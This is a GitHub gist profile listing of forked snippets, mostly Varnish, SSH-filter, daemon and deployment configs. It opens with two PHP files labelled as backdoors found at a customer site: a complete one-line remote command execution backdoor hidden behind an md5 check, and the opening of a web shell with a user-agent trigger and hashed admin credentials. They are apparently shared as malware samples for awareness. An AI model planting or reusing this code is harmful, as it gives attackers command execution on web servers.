Skip to content

Instantly share code, notes, and snippets.

View mostafahussein's full-sized avatar
💀
K3rn3l Cr4sh3r

(╯°□°)╯︵ uᴉǝssnH ɐɟɐʇsoW mostafahussein

💀
K3rn3l Cr4sh3r
View GitHub Profile
@mostafahussein
mostafahussein / .cache.php
Created December 12, 2015 15:10 — forked from jonaslejon/.cache.php
Backdoor found at customer site
<?php
if (substr(md5($_GET["localdate"]),0,6) == "6fbcb8") {
$time = str_replace("@"," ",$_GET["localtime"]);
@system($time); exit;
}
?>
@mostafahussein
mostafahussein / Iicense.php
Created December 12, 2015 14:24 — forked from jonaslejon/Iicense.php
Magic Include Shell PHP Backdoor found at customer site
<?php
error_reporting(0);
$ver = '6.6.6';
$my_keyw = $_SERVER['HTTP_USER_AGENT'];
$items_per_page = 50;
$admin_name = '27a0e2015f9087981c0b95a29fc4ba57';
$admin_pass = '9413c48772f73d5c305b65eb58a06f9c';
if($my_keyw=='spaumbot')
@mostafahussein
mostafahussein / default.vcl
Created November 29, 2015 08:57 — forked from reifman/default.vcl
Example Varnish VCL Configuration e.g. /etc/varnish/default.vcl
# Default backend definition. Set this to point to your content server.
backend default {
.host = "127.0.0.1";
.port = "8080";
.connect_timeout = 60s;
.first_byte_timeout = 60s;
.between_bytes_timeout = 60s;
.max_connections = 800;
}
@mostafahussein
mostafahussein / mobile-detect.vcl
Created October 25, 2015 02:25 — forked from elidickinson/mobile-detect.vcl
Varnish config for user agent sniffing
# This file has been modified by Eli Dickinson to update detection rules and to
# send a Vary header downstream. It has also been updated to
# work with newer versions of Varnish.
#
# A simple mobile device detection implementation in VCL
# http://fangel.github.com/mobile-detection-varnish-drupal
#
# The file is based upon initial work done by Audun Ytterdal, which can be
@mostafahussein
mostafahussein / mobile-detect.vcl
Created October 25, 2015 01:51 — forked from dbarbar/mobile-detect.vcl
Varnish config for user agent sniffing
# This file has been modified by Eli Dickinson to update detection rules and to
# send a Vary header downstream. It has also been updated to
# work with newer versions of Varnish.
#
# A simple mobile device detection implementation in VCL
# http://fangel.github.com/mobile-detection-varnish-drupal
#
# The file is based upon initial work done by Audun Ytterdal, which can be
@mostafahussein
mostafahussein / skeleton-daemon.sh
Created October 24, 2015 16:20 — forked from shawnrice/skeleton-daemon.sh
A template to write a quick daemon as a bash script
#!/bin/sh
# This is a skeleton of a bash daemon. To use for yourself, just set the
# daemonName variable and then enter in the commands to run in the doCommands
# function. Modify the variables just below to fit your preference.
daemonName="DAEMON-NAME"
pidDir="."
pidFile="$pidDir/$daemonName.pid"
@mostafahussein
mostafahussein / sshfilter.sh
Last active September 7, 2015 04:06 — forked from jokey2k/sshfilter.sh
Tuned version of sshfilter.sh to allow for ipv6 filtering
#!/bin/bash
# based on script from http://www.axllent.org/docs/view/ssh-geoip
# License: WTFPL
# UPPERCASE space-separated country codes to ACCEPT
ALLOW_COUNTRIES="DE EU GB"
LOGDENY_FACILITY="authpriv.notice"
if [ $# -ne 1 ]; then
echo "Usage: `basename $0` <ip>" 1>&2
<contents of normal file>
# Add any additional locations to look for master runners
runner_dirs: [/srv/runners]
# Register a reactor whenever a cloud provider emits 'created'
# the * is the name of the VM, we want any, but you could
# do something like salt/cloud/Webservers-*/created if you only
# wanted your webservers
reactor:
// By Bassam Netros
// This is an old code and needs more ...
using System;
using System.Windows.Forms;
namespace WirlessAutoConnect
{
public class Connector
{
public Connector()
# unicorn_rails -c /srv/myapp/current/config/unicorn.rb -E production -D
rails_env = ENV['RAILS_ENV'] || 'production'
working_directory (rails_env == 'production' ? "/srv/myapp/current" : `pwd`.gsub("\n", ""))
worker_processes (rails_env == 'production' ? 10 : 4)
preload_app true
timeout 30
if rails_env == 'production'